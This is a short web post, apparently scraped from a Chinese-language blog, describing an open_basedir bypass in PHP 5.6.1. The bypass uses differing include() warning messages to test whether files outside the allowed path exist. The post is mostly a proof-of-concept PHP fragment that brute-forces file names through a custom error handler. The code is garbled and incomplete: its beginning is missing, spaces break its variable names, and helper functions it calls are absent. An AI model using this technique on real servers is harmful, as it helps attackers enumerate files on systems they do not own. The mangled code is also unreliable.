PHP 5.6.1 open_basedir exist file check bypass

- file an existing member: Warning: include (): open_basedir restriction in effect. File (D: \ site \ file.txt) is not within the allowed path (s): (d: / site / www /) ..... - file is missing: Warning: include (): open_basedir restriction in effect. File (../ file1.txt) is not within the allowed path (s): (d: / site / www /) ..... [php] '; } } set_error_handler ("eh"); echo 'open_basedir =' .ini_get ('open_basedir'). '
'; $ S = array (); while (count ($ s = inc ($ s, 0)) <= $ maxlength) { check3 ($ s); } echo '
end'; ?> [/php]

发表评论